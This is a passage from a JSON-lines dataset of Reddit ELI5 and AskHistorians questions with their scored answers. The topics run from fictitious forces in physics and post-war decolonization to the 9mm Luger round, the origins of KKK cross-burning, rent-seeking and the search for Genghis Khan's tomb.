Friction does not really exist on the fundamental level. It is caused by microscopic electromagnetic forces. But this does not make friction \"fake\" in the sense that it is a completely wrong-headed idea or exists only in fantasy worlds. As long as you are clear about the assumptions and limitations of the model, friction can be a very enlightening, fast, and accurate way to explain the forces between two objects in contact. Put more crudely, electromagnetism acts like friction on the macroscopic level (when chemical reactions and bulk electric charging are negligible). In a similar way, inertial forces are an enlightening, fast, and accurate way to explain the physics as long as you are clear about the assumptions you are making. Put crudely, inertia acts like a force when you are in rotating/accelerating reference frames.\n\nI think teachers and professors are so anxious to debunk myths when they talk about inertial forces that they overdo it and make inertial forces sound like completely non-sensical ideas that should be abandoned, which is not the case.\n\nUPDATE: By the way, the \"centripetal force\" no where entered this discussion because it is not an inertial force at all. The centripetal force is a completely different concept from the centrifugal force, although they both show up in problems involving rotational motion. The centripetal force is the general name given to the force that is causing the body to travel in a circular path. For instance, for a ball that is being spun on the end of a rope, the centripetal force is the tension in the rope, which is ultimately the electromagnetic force between the molecules in the rope. In short, the \"centripetal force\" is just a placeholder name for a fundamental force that is causing circular motion.", "Centripetal force is the \"real\" one. Centrifugal and coriolis forces are \"fictitious\".\n\nLike a lot of terms in physics, the word fictitious has a very specific meaning that's rather different to the everyday meaning.\n\nFictitious forces aren't wrong. They're real, calculable and measurable in rotating frames of reference, so it's perfectly valid to acknowledge them.\n\nCentrifugal force is F=m\u03c9\u00d7(\u03c9\u00d7r)\n\nCoriolis force is F=\u20132m\u03c9\u00d7v\n\nwhere m is the mass of the object, \u03c9 is the angular velocity of the rotating frame, v is the radial velocity of the object and r is distance from the centre of rotation.", "Centripetal forces are certainly real, and you don't have to visit a rotating reference frame to see them.\n\nThe centripetal force is simply the force that pulls an object into a curved path.\n\nThink of it this way -- a ball at the end of a string that is subjected to uniform circular motion will fly off in a straight line if you let go of the string.  What is it that keeps the ball in a circle?  The force applied by the string which pulls it toward the center.  What is the name of that force?  The centripetal, or 'center seeking', force.\n\nPeople confuse the names centripetal and centrifugal because when they are on a rapidly spinning merry-go-round, they feel themselves being \"pulled outward.\"  A centrifugal, or 'center-fearing' force would be one that is directed outward, away from the center of the motion.  Nothing is pulling you away from the merry-go-ground, however; rather, you are being pulled inward toward the center of rotation, away from the straight-line-path that you would otherwise take.  That's why the \"centrifugal force\" is referred to as fake.\n\nOf course, if you change to a rotating reference frame, then all bets are off.  (What is a rotating reference frame?  Think of it as simply a different way to write down the problem mathematically that is, in some ways more complicated, but ultimately intentionally chosen because it makes the problem somehow substantially easier to solve in other ways.  Basically, it means that the coordinate system itself is rotating.   A single fixed point in space is no longer described by a single **(x, y)** coordinate, but rather must be specified by a parameterized **(x(t), y(t))** coordinate, or, more likely, an **(r, theta(t))** coordinate.)  In a rotating (non-inertial) reference frame, you need 'fictitious forces' to \"fix\" Newton's laws of motion, which normally only apply to non-rotating (inertial) reference frames.  Note that these 'fictitious forces' are *not* fake forces.  Fictitious forces are forces that are written down on paper and used to fix Newton's equations in rotating reference frames.  A fictitious centrifugal force appears in this case.  A fake force is one that doesn't really exist, either fundamentally, or as a repair to newton's equations -- rather, a fake force is a force that people think is there, but isn't, like the \"force\" that pulls you away from the merry go round, which is really just due to inertia.\n\nAll you need do to eliminate the centripetal force is let go the merry-go-round or string."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "164f81", "title": "Would colonialism likely still exist today had WWII not occurred?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/164f81/would_colonialism_likely_still_exist_today_had/", "answers": {"a_id": ["c7snr8f", "c7somgp", "c7stljp"], "score": [48, 9, 2], "text": ["In Southeast Asian studies in the 1950s, it was generally accepted that WWII was the defining moment in ending colonialism. Yet, this assessment has changed over the years and it now seems clear that the demise of colonialism was the work of broader global (not regional) forces. What we can definitely say is World War II did much to hasten the end of colonialism in SE Asia and to change the nature of decolonization. \n\n\nWhy was it accepted that WWII was *the* major event in bringing about the end of colonialism in SE Asia? Because Japan occupied much of Southeast Asia during the latter part of the war and broke the literal and figurative bond between European colonizer and the colonized. In Indochina, the French were deposed in a coup d'etat; in the East Indies (Indonesia) the Dutch were placed in concentration camps; the US was forced to abandon the Philippines--although Washington already promised it independence--and the British were pushed out of most of Malaya and Burma. A famous historian, Harry J. Benda, argued that this was a catalytic and transformational moment. The Japanese had broken down the myth that the white European race was inherently superior, thus crumbling the basis for colonial domination. Benda was himself a Dutch colonial official and speaks of noticing a perceptible change in the youth of Indonesia, which thereafter became defiant and independent. Likewise, Paul Mus, another famous historian that also formerly worked in the French colonial system, noted that he felt the Vietnamese perception of the French radically changed after the Japanese deposed the French regime in 1945. But these historians were all writing in the immediate aftermath of the war and could not see yet that decolonization was a global force that was not just limited to SE Asia.\n\n\nThe effect then of WWII was to influence the timing and nature of decolonization. In Vietnam, for instance, the occupation policies of the Japanese, and after the war, of the occupying British and Chinese forces, created the circumstance for the communist party to gain control in the northern parts of Vietnam, but not the southern areas. Instead, in the south, moderate, reform minded Vietnamese officials in the colonial government retained influence and sought parity with the French or inclusion as French citizens. This created a disparity in support for the Viet Minh in their fight against the French after WWII, and led to the partitioning of the country between north and south from 1954-1976 and the Second Indochina War. WWII didn't fundamentally change their expectations or desires, just altered the arraying of competing forces in the country.\n\n\n\nThinking more globally, the 1950s witnessed the beginning of an enormous wave of decolonization that doubled the number of countries, from 60 in 1952, to 122 in 1966. The emergence of nationalism and influential local leaders in colonized countries made it impossible to continue imperial rule, since colonialism rested upon the ability for an empire to find and work with local indigenous collaborators (political, social, and economic elites) within the subject society. With the development of nationalism, empires had begun to run out of cooperative local elites, and as British imperial historian Ronald Robinson noted, the \"inversion of collaboration into non-cooperation largely determined the timing of decolonization.\" \n\n\nIn addition, remember that all empires espouse a legitimizing ideology that justified their colonial control. The French had the *Mission Civilisatrice* or civilizing mission, and the British *Imperium et Libertas*, or empire and liberty. Their liberty was ostensibly held in trust for them, until they could effectively manage independence. Of course this sounds contradictory today. These empires had to actually fulfill these promises in some way, which made indefinite rule contradictory to their moralizing mottos. Thus the British, with some notable exceptions, did manage a rather efficient and peaceful self de-colonization. And of course, the emergence of the competing Soviet and US led blocs made it even more difficult to maintain the legitimacy of continued colonial rule since both of these powers--though operating as empires in many ways--had abided by anti-colonial rhetoric that changed the international discourse.\n\n\n\nRonald Robinson, \"Non-European Foundations of European Imperialism: Sketch for a Theory of Collaboration,\" In Owen and Sutcliffe, *Studies in the Theory of Imperialism* (Longman, 1972).\n\nHarry J. Benda, *The crescent and the rising sun: Indonesian Islam under the Japanese occupation, 1942-1945* (W. van hoeve, 1958).\n\nPaul Mus and John McAlister, *The Vietnamese and their Revolution* (Harper  &  Row, 1970).", "As far as Africa goes, many of the countries won their \"independence\" where old style colonialism was replaced by what's called [\"Neo colonialism.\"](_URL_1_)  This is what is, albeit arguably, continuing into the present day.  Neo-colonialism is, in very simplified terms, larger capitalist countries exploiting weaker \"colonies\" through economics.  World War II was certainly an impetus for decolonization, both for the Europeans withdrawal and for the African independence movement, but the history of this was basically written during and right after the independence movements themselves (in the 1970s) and is undergoing something of a revision right now that looks at the broader picture, i.e. pre WWII resistance and decolonizing trends.\n\nIt's not the best book I've ever read, but as a general overview it works - [Modern Africa: A Social and Political History](_URL_0_) is worth checking out.  The second half of the book deals with the independence movements, neo-colonialism, and some of the residual effects of all of that. \n\n[Edit] clean up", "I'd just like to add something very briefly-- some important developments immediately following the Second World War was\n\n* Western Europe (the UK included) was basically broke. Part of the reason the UK ceased to be a 'superpower', was that it couldn't afford to defend anti-communist allies from the Soviet Union-- up until then, Britain had been a balance against the Russian Empire in Southeast Europe, the Middle East, and India. \n* In the power-vacuum after the war with major colonial powers broke or crumbling, a number of ethnic nationalist movements 'broke out'. \n* It's a common thesis that ethnic nationalism is often a form of 'defence' against colonialism. It's important to remember that European/American/Japanese colonialism accelerated in the 20th century, and indigenous forms of government were basically extinguished across the globe and territories were incorporated into the global British-centred banking system.\n* The appeal of communism in 'third world' anti-colonialist movements, and this is just a guess, was likely due to the fact that it represented an alternative system to the colonial apparatus while providing an extremely good platform for ethnic nationalism (keeping in mind that the Russian Revolution is sometimes called a 'Pan-Slavic' movement, the Chinese Revolution is a form of Han nationalism)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.amazon.com/Modern-Africa-Political-History-Edition/dp/058221288X", "http://en.wikipedia.org/wiki/Neocolonialism"], []]}
{"q_id": "1l1wk1", "title": "throughout the lotr gandalf is considered a great and powerful wizard. but he doesn't do much?", "selftext": "When I think of powerful wizards I think of Dumbledor and Voldemort you know achieving things killing people or making things. All dumbledor seems to do is make decent fireworks and pretty swish smoke rings.\n\nWhats all the hype about if he never actually DOES any magic?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1l1wk1/eli5_throughout_the_lotr_gandalf_is_considered_a/", "answers": {"a_id": ["cbuxthm", "cbv01qk", "cbv0fad", "cbvfjek"], "score": [4, 2, 5, 2], "text": ["Gandalfs job in LOTR is to solve all problems. If something happens and there isn't any convenient way to get out of the situation Gandalf shows up. If someone needs information that they shouldn't normally have but needs it for the plot. Gandalf shows up. Whenever Prof. Tolkien couldn't think of a good solution he used Gandalf.", "Gandalf was essentially meant to chivvy people into fighting sauron (we should note that all of the wizards were at least equal in power to sauron if not more so). since the last two times that the Gods intervened to save the mortals asses they did great damage to the world both times, So they took the subtle route which kinda didnt work out too well (4/5 of the istari fell from grace)", "He kills a Balrog. You would think that is a step above just killing people like Voldemort.", "I find it difficult to believe that a person could read LOTR and conclude that Gandalf doesn't do much. However, if you did read LOTR and still have this question (again, I'm shocked), maybe check out some of the answers to these because it's sort of a long story:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://xz.reddit.com/r/explainlikeimfive/search?q=gandalf&amp;restrict_sr=on&amp;sort=relevance&amp;t=all"]]}
{"q_id": "cji148", "title": "why are iterations of a product called \u201cmark\u201d?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cji148/eli5_why_are_iterations_of_a_product_called_mark/", "answers": {"a_id": ["evdg9j8", "evdgatx", "evdghn0"], "score": [8, 8, 3], "text": ["Because you make literal marks to measure progress in things like height, length, or distance toward a goal.  So Mark II represents more progress than Mark I, but less progress than Mark III.  \n\nIt's an example of *metonymy*, a figure of speech where something that's closely related to something else is used to represent that something else, like saying 'Hollywood' to represent the filmmaking industry in that city.  Physical marks are associated with progress, so the term has come to represent progression.", "Traditionally when something was crafted, the craftsman would make a mark somewhere on the product - literally an impression on the product - to tell the consumer who made that product. This is also where \"Maker's Mark\" whiskey gets their name from.", "In the olden days, a lot of products would have a plate you could remove to make modifications, understandably but uncreatively called the modification plate. If there was a long run of something, and it was discovered that you had to make a modification, you would go in and do it, and when you were done you would physically make a mark on the plate. Looking at the plate then told other workers what modifications needed to be done.\n\nThe nomenclature stuck around afterwards because humans are weird like that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "c5zfxs", "title": "Why did the 9mm luger pistol round become so prominent?", "selftext": "I'm not sure if this belongs here but compared all the other calibers of pistols used and designed between the 1890s and 1910, what caused the 9mm luger round to endure while other calibers such as 7.63 mauser and others fell out of favor?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/c5zfxs/why_did_the_9mm_luger_pistol_round_become_so/", "answers": {"a_id": ["es7zwm0"], "score": [5], "text": ["There is a four major points.   \n\n\nFirst, it was adopted by imperial germany Kriegsmarine and Heer a few years prior Great War. Germany per se was one of biggest firearms producer in world and when Great War ends, Germany left lot's of pistols and ammo stockpiles which they sold nearly everywhere at low prices, so other countries buy german surplus for their own militaries for many reasons, USSR use 9 mm Luger with Mauser C96 \"Red Nine\" pistol mostly because Germany was just a few countries which want trade with them, Poland introduce it due to cavalry demand for sidearm with strong enough cartrige to kill wounded horses, France announced tactical and technical requirements for a new pistol, resulting in the creation of the Browning High Power pistol using 9 mm Luger in 1935.  \n\n\nGermany also introduce \"gamechanger\" on battlefield called machine pistol in late stage of Great War. 9X19 mm offer enough reliability to construct quite simply blow-back design (basically you put strong spring on one end of gun and bolt on another end, cartrige pressure push bolt back and spring bring back it on place every time) machine pistols.   \n\n\nAnother point came after WWII, newly created NATO start standardize equipment between NATO members. In 1982 NATO create [STANAG 4090](_URL_2_), a standarization document for 9X19 mm, to ensure functional interchangeability of this ammunition on the battlefield. De facto it made 9 mm Luger NATO standard caliber for all sidearms and machine pistols. Other American allies reliant on NATO members production cababilities and american military aid follow suit and finally there was no other caliber on market because anyone use it already.  \n\n\nFinally, in '80s [\"Wonder Nine\" pistols](_URL_1_) appear on market. Whole list of pistols using 9 mm Luger with high capability magazines (10 rounds and more), quite compact and lightweight and affordable. Basically all you need for a sidearm for police, military or security.  \n\n\nToday, while there was a attemp to replace 9 mm Luger after some police incidents like [FBI Miami shootout](_URL_0_), where eight FBI agents had problems to stop two armed bank robbers due to market saturation with guns and ammo producers it still is one of market standard."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/1986_FBI_Miami_shootout", "https://en.wikipedia.org/wiki/Wonder_Nine", "https://standards.globalspec.com/std/695275/nato-stanag-4090"]]}
{"q_id": "aw4moj", "title": "Why did the KKK burn crosses if they were Christian?", "selftext": "It just seems very anti-Christian I guess?  I asked my dad and he said it was something to with the movie \"Birth of a Nation\" but did not go into further details. Also why did they hate Catholics? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/aw4moj/why_did_the_kkk_burn_crosses_if_they_were/", "answers": {"a_id": ["ehjytwz"], "score": [1410], "text": ["Your father is essentially correct. The First KKK, which was formed in the wake of the American Civil War and stamped out by the 1870s, did not include cross-burning as one of its rituals. This particular element was added in a work of fiction called *The Clansman: A Historical Romance of the Ku Klux Klan*, which was published by Thomas F. Dixon, Jr. in 1905, an unrepentant piece of apologia for racism, segregation, and most importantly the KKK, which was presented as a morally justifiable organization which was formed to protect white Southerners from the evils perpetrated by the freed former enslaved persons, who, in this disturbingly ahistorical vision, were able to satisfy their lusts for rape and murder upon their former oppressors kind-hearted, benevolent masters. \n\nOne element that Dixon incorporated into this *clear* work of fiction was the [ritualistic burning of a cross](_URL_0_), an element which he consciously adapted from what he understood to be an old Scottish ritual - \"plac[ing] the order to a larger history of Anglo-Saxons\" - and in the novel served a function similar to its historical roots, namely that of communication:\n\n > Issue your orders and despatch your courier tonight with the old Scottish rite of the Fiery Cross. It will send a thrill of inspiration to every clansman in the hills. [...] \n\n > Carry my summons to the Grand Titan of the adjoining province in North Carolina whom you will find at Hambright. Tell him the story of this crime and what you have seen and heard. Ask him to report to me here the second night from this, at eleven o'clock, with six Grand Giants from his adjoining counties, each accompanied by two hundred picked men. In olden times when the Chieftain of our people summoned the clan on an errand of life and death, the Fiery Cross, extinguished in sacrificial blood, was sent by swift courier from village to village. This call was never made in vain, nor will it be to-night in the new world. Here, on this spot made holy ground by the blood of those we hold dearer than life, I raise the ancient symbol of an unconquered race of men\u2014\n\nDixon was hardly an historian though, and his use fit into the trend of Romantic fiction in the long 19th-century, or more specifically the tradition in the American South, where few authors could claim to have as much wide enjoyment and deep-seated cultural impact as Sir Walter Scott, whose historical romances enjoyed pride of place on the plantation-house bookshelves of the 'Old South'. Mark Twain famously wrote of him, with only some hyperbole perhaps:\n\n > Sir Walter had so large a hand in making Southern character, as it existed before the war, that he is in great measure responsible for the war. It seems a little harsh toward a dead man to say that we never should have had any war but for Sir Walter; and yet something of a plausible argument might, perhaps, be made in support of that wild proposition. The Southerner of the American Revolution owned slaves; so did the Southerner of the Civil War: but the former resembles the latter as an Englishman resembles a Frenchman. The change of character can be traced rather more easily to Sir Walter's influence than to that of any other thing or person\n\nNot only in broader themes and style can Dixon's work be viewed, but specifics as well, as his exposure to this 'Highlands ritual' quite possibly came from Scott, such as this example in *The Lady of the Lake: A Poem in Six Cantos* which makes it rather easy to see why Dixon might choose to ape it for his own work:\n\n > When a chieftain designed to summon his clan, upon any sudden or important emergency, he slew a goat, and making a cross of any light wood, seared its extremities in the fire, and extinguished them in the blood of the animal. This was called the Fiery Cross, also Crean Tarigh, or the Cross of Shame, because disobedience to what the symbol implied, inferred infamy. It was delivered to a swift and trusty messenger, who ran full speed with it to the next hamlet, where he presented it to the principal person, with a single word, implying the place of rendezvous. He who received the symbol was bound to send it forward with equal dispatch to the next village ; and thus it passed with incredible celerity through all the district which owed allegiance to the chief, and also among his allies and neighbors, if the danger was common to them. At sight of the Fiery Cross, every man, from sixteen years old to sixty, capable of bearing arms, was obliged instantly to re- pair, in his best arms and accoutrements, to the place of rendezvous. He who failed to appear suffered the extremities of fire and sword, which were emblematically denounced to the disobedient by the bloody and burnt marks upon this warlike signal.\n\nBut it must be remembered that Scott was not an historian either, and if anything quite the opposite, the creator of national myths, his prose best understood in the context of the Highland revival going on in that time. The imagery of the cross he used several times, and the political underpinnings are probably best seen in the collection of pseudonymous letters to the Edinburgh Weekly Journal published as *Letters of Malachi Malagrowther*, where he resurrected the imagery in a conscious callback to 1745 - where *\"the Fiery Cross often made its circuit\"* - and a connection between Scots then and in 1826, when he was writing. \n\nDixon too, of course, was using the imagery in a similar fashion, connecting *his* characters to the Anglo-Saxon heritage that so many of Scott's heroes exemplified, and which many Southern elites had subsumed into their own identity (never mind that Highland heritage specifically would have been scant), and one that only became reinforced after the \"War of Northern Aggression\" as many Southerners came to identify even more with the Jacobite cause, or at least its romantic 19th century portrayal of \"Highlanders [fighting] a rebellion to free Scotland against overwhelming numbers of Englishman [...] a lost cause to begin with\".\n\nBut whatever *both* men's attempts to ground their heroes in the rituals of the centuries earlier, whether it was actually grounded in history is a whole 'nother matter, as Scott seems to have been drawing on questionable sources himself, at the least misrepresenting the usage of the symbol, and he *\"may well have invented the idea of the 'fiery cross'\"* at least so far as being an ancient ritual, as there seems not to be agreement that it was a ritual of the old Highland clans at all, possibly no older than the better demonstrated use by the Jacobites following the Bonnie Prince, but also an exploration which Allison frustratingly leaves at that.\n\nCertainly historians of the period seemed to have a mix of perspectives, and at least somewhat similar to Scott's conception, so we perhaps can't place his on his shoulders alone. James Browne's *A History of the Highlands and of the Highland Clans*, written in 1834, included a similar ritual, although termed a \"tarie\" which he described thus:\n\n > Each clan had a stated place of rendezvous, where they met at the call of their chief. When an emergency arose for an immediate meeting from the incursions of a hostile clan, the cross or tarie, or fiery-cross, was immediately despatched through the territories of the clan. This signal consisted of two pieces of wood placed in the form of a cross. One of the ends of the horizontal piece was either burnt or burning, and a piece of linen or white cloth stained with blood was suspended from the other end. Two men, each with a cross in his hand, were despatched by the chief in different directions, who kept running with great speed, shouting the war cry of the tribe, and naming the place of rendezvous, if different from the usual place of meeting.\n\nAnother writer of the period, a Dr. John Smith who was a 19th century Gaelic scholar, similarly wrote of the \"Cran-tara\" being:\n\n > a signal of distress; that it was properly a piece of wood, half-burt and dipped in blood, which was conveyed with all possible expedition from one hamlet to another in cases of imminent danger.\n\nIn his 1825 etymological dictionary for Scots Gaelic, John Jamieson provides firmer, if vaguer, ground for the \"Fyre Croce\", with a record of royal use from the Registry of the Privy Seal dated Oct. 14, 1547, reading:\n\n > Ane lettre maid to Robert Weyr of the escheit of all gudis quhilkis partenit to Adame Bell (and others), and now partening to oure Soverane ladeis army and last field at Fawside besyde Musselbrugh, for resisting of oure auld innemies of England; incurrand therthrow the panis of tinsale of lyfe landis  &  gudis incontrare to our Soverane ladeis proclamatione maid therupone, *the fire Croce being borne throw the hale Realme*.\n\nAlthough Scott himself wrote that he had been told of the ritual by those who had seen it first hand in the 1745 rebellion, these or similar, being the type of histories seen in the 19th century, quite possibly also helped to paint the image in his mind, and of course from there to Dixon. More recent discussion is scant, and what modern historians do make mention are much more muted in their descriptions, such as Michael Newton, who calls it the 'summoning stick'. Although he traces its use in raising an army as far back as Alexander I's reign in the 1200s, he also wryly notes that \"*fiery cross*\" is only an English affectation, subtly calling into question just whether fire was involved in the initial ritual at all.\n\n1/2"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://imgur.com/wvudXgt"]]}
{"q_id": "5yrsqw", "title": "what is a 'rent seeking economy'?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5yrsqw/eli5_what_is_a_rent_seeking_economy/", "answers": {"a_id": ["desfurl"], "score": [43], "text": ["\"Rent\" comes from Adam Smith's division of incomes into profit, wage, and rent.\n\nA land-owner rents out a house to people. He gets paid for it. He doesn't maintain it, use it, look at it, or interact with it in any way, but he get paid for it.   If you removed him, gave ownership of the house to the people living there, everything is the same except you cut out an economic middle-man. \n\nI own stock. I don't do a god damned thing to help with any of those companies, but I get an income from that.    They essentially pay me rent for my ownership of part of the company.   \n\nThat's \"economic rent\". The crux of it is that it doesn't contribute to the economy, it's just sort of a leech. \n\n**Rent Seeking** is looking to ways to get other people to pay you when you don't actually contribute anything.   Like the typical land ownership, but also things like guilds controlling jobs, patent trolls, and buying up domain names of popular businesses. \n\n Taxi medallions in NY right?   To run a taxi in NY you need a medallion. These things cost MILLIONS, and of course a poor cabbie isn't going to be able to afford one. So he gets a loan from the bank to buy one.   And every month he writes the bank a $500 check to the bank, with no real hope of ever actually owning a medallion.   They essentially rent the medallion from the bank. Ostensibly, this whole system was set up because people complained there were too many taxis on the roads and they were clogged. But it was awfully convenient for the banks, who don't actually contribute anything to the taxi industry.    Rent-seeking is proposing things like the medallion system. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "168d7z", "title": "Greatest manhunt in history?", "selftext": "Zero Dark Thirty, the somewhat inaccurate tale of the demise of Osama bin Laden, claims to be the greatest manhunt of history. Does anything else come close to, or surpass, this story?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/168d7z/greatest_manhunt_in_history/", "answers": {"a_id": ["c7tnz1i", "c7tqoxb", "c7ts576"], "score": [3, 7, 3], "text": ["[Albert Johnson: AKA The Mad Trapper](_URL_0_)\n\n", "Not sure if this counts, but the Israeli response to the '72 Olympics massacre was pretty impressive.\n\n_URL_0_", "It  took  the  Virginia  planters  sixty  eight  days  to  track  down  Nat  Turner  in  1831.  He  led  the  most  serious  slave  insurrection  on  the  mainland  of  the  United  States.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Albert_Johnson_\\(criminal\\)"], ["http://en.wikipedia.org/wiki/Operation_Wrath_of_God"], []]}
{"q_id": "2apjmb", "title": "Is it likely that we will ever find Genghis Khan's final resting place?", "selftext": "I know that it hasn't been found (yet) and that we think his men diverted a river over it (source: Secret History of the Mongols).\n\nWhat I want to know is does anybody have a plan or even the desire to find it? How likely is it to ever happen? Has anyone ever come close or thought they had found it?\n\nAny help much appreciated.\n\nEdit: Thank you all so much for your responses. Really helpful. Let's hope that it does get found one day.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2apjmb/is_it_likely_that_we_will_ever_find_genghis_khans/", "answers": {"a_id": ["cixmlow", "cixmps0", "cixmyau"], "score": [71, 7, 17], "text": ["While I'm reluctant to speculate on whether or not we will ever find Genghis Khan's burial site, I do know of there's at least one researcher trying to figure out it's location and I can give some insight into his research. Note: Most of this will be taken from a short presentation that I attended at UCSD, so I unfortunately cannot provide too many sources as far as his own evidence or conclusions go.\n\nAlbert Lin (1) is a researcher working with National Geographic and the University of California at San Diego. His primary tools have been satellite imaging to determine potential locations for a burial site based on geographic anomalies, as well as ground-penetrating radar in order to form images at locations. His search focuses on the Ikh Khorig (2) region of Mongolia, which is a historically holy area for Mongolians. He seems to have ignored some of the more outlandish myths, such as redirecting a river, in order to narrow his search to practical locations. Lin and a team investigated an anomaly on a sacred mountain, and due to a variety of factors Lin believes this to be the most likely spot of Genghis Khan's burial. In particular, that the site was found on a sacred mountain in a sacred region was compelling, and ground-penetrating radar found what looked like the foundation of a Mongolian tomb on the sacred side of the mountain. In addition, the team found what seemed to be shingles that were used around the time of Genghis Khan's death. \n\nUnfortunately, further evidence will be difficult to gather because the Mongolian government is reluctant to allow any excavations in the region, so Lin cannot further verify if the site his team found is the tomb of Genghis Khan, or even a tomb at all. This seems to be one of the only modern attempts to locate the tomb, but I'm reluctant to comment on how likely it is that this is Genghis Khan's tomb. It certainly would be exciting if it proves to be so, and I think it is the most compelling thing right now. However, I think it would be unwise to jump to conclusions, and to Lin's credit, I think he has avoided doing exactly that, as neither his website (3) nor the National Geographic link mention the findings of his search. \n\nEdit: I cannot figure out how to do links, so I'll just put them at the bottom.\n\n1: _URL_2_\n2: _URL_0_\n3: _URL_1_", "On a related note: is there any credible source to the tale of his burial, and the mass executions that followed it to ensure it was hidden? I also remember Stephen Fry recalling an anecdote on QI about them slaughtering a baby camel in front of its mother and burying it next to Genghis because she would know where to return to.", "Simply put? It's almost certainly not going to be found. If it is found (and for all we know it could have been found already), we'll likely never identify who it is.\n\nMongol's at the time were buried without markings. Without a tomb or any indication, Genghis Khan's grave is just one of thousands. Considering that there's no consensus on how he died, any body found would be even harder to identify.\n\nThere's varying conflicting reports about how it was hidden (a river was diverted over it, or horses stampeding over it are the two biggest ones). But even without those, the odds of locating a specific, unmarked grave for a person who lived close to 800 years ago are nonexistent. \n\nIn 2004 they found his palace (which has been called a 'mausoleum' by several news sources including the bbc, causing a whole lot of confusion). There is some speculation that he might be buried nearby (because some texts say that officials travelled from there to the burial site to conduct rituals), but considering that conflicts with most other accounts, it seems questionable. Even if it is true, the only thing that narrows down is that it's within a half days ride of the site, which is still an extremely large area.\n\nWhile it's one of archeology's great searches, there's just so much conflicting information that makes it very unlikely to ever be found. It might be under a river, or it might be under a plain, or a forest. It might be in the Burkhan Khaldun mountains, or it might be near Khentii Aimag. It might be a single man, unmarked, or it might be several men. There might be a baby camel in the grave, or it might be unmarked. The man might have died from being stabbed, or an arrow, or fatigue.\n\nThere's simply too many variables to look at, and that's not even counting the fact that Mongolian tradition is against violating ancient tombs.\n\n**Some sources and extra reading:**\n\n[An Article on the palace](_URL_2_)\n\n[A Nat Geo article that talks briefly about the difficulties of using traditional archeological methods](_URL_1_)\n\n[A section of The Travels of Marco Polo, relaying one of the many legends surrounding the burial rights of the Khans](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Ikh_Khorig", "http://www.albertyuminlin.com/About.php", "http://www.nationalgeographic.com/explorers/bios/albert-lin/"], [], ["http://en.wikisource.org/wiki/The_Travels_of_Marco_Polo/Book_1/Chapter_51", "http://exploration.nationalgeographic.com/expedition#block-views-person_list_bloggers-block_1", "http://www.nbcnews.com/id/6189531/#.U8SIgfldX7A"]]}
{"q_id": "87by5k", "title": "how does being in nature help the self in terms of outlook on life, emotional, stress, feeling connected, etc?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/87by5k/eli5_how_does_being_in_nature_help_the_self_in/", "answers": {"a_id": ["dwboobi"], "score": [3], "text": ["I look at leaf. I look at hand. We are same.\nI breathe out what tree breathes in. We are one."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2w9n59", "title": "if a death row inmate killed a guard on the day of their execution would it get delayed so they could stand trial for this crime?", "selftext": "Asks a death row inmate.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2w9n59/eli5_if_a_death_row_inmate_killed_a_guard_on_the/", "answers": {"a_id": ["cootov7", "cooz32i", "cop1sdh"], "score": [26, 15, 3], "text": ["Not for a trial but delayed for an investigation. If someone was able to do that, no further executions would take place until measures were put in place to prevent it from happening again.", "It would make sense to continue with the execution but that would deny justice to the offended. There would be charges and a trial. So if the criminal could kill a guard or inmate from time to time they'd postpone the execution and probably die before it happened.\n\nIt doesn't make sense but then again if the execution is by lethal injection, the doctor uses an alcohol wipe before inserting the IV needle. Duh!", "Thinking about this from a law student's standpoint, and I were the prosecutor, I would opt not to press charges and just move the execution to the next available day. That means no trial. It's not like the guard's family can get more relief than the already prescribed death of the inmate. And would deter any inmate from trying this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2lx2hq", "title": "Were there instances of Kuwaiti resistance during Iraq's invasion of Kuwait during the First Gulf War?", "selftext": "I'm doing a project for my history class where I have to investigate the importance of foreign intervention in the First Gulf War. I have plenty of information regarding the coalition intervention during the First Gulf War but I'm having trouble finding information and sources documenting any sort of Kuwaiti resistance. I need to somehow show that the Kuwaitis were not solely dependent on the Coalition. Anyone an expert on this or know some good sources?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2lx2hq/were_there_instances_of_kuwaiti_resistance_during/", "answers": {"a_id": ["clz67py"], "score": [5], "text": ["One source you might use is [*Iraqi Perspectives Project Phase II Um Al-Ma\u2019arik (The Mother of All Battles):Operational and Strategic Insights from an Iraqi Perspective*](_URL_0_) which the US government culled out of interviews and captured Iraqi documents. This particular portion of the Iraqi Perspectives deals with both the invasion and subsequent Gulf War. \n\nIn short, although the Iraqi planning of the invasion was haphazard and presaged its disastrous performance that would befall it the following year, the Kuwaiti military response was relatively negligible. \n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.dtic.mil/dtic/tr/fulltext/u2/a484530.pdf"]]}
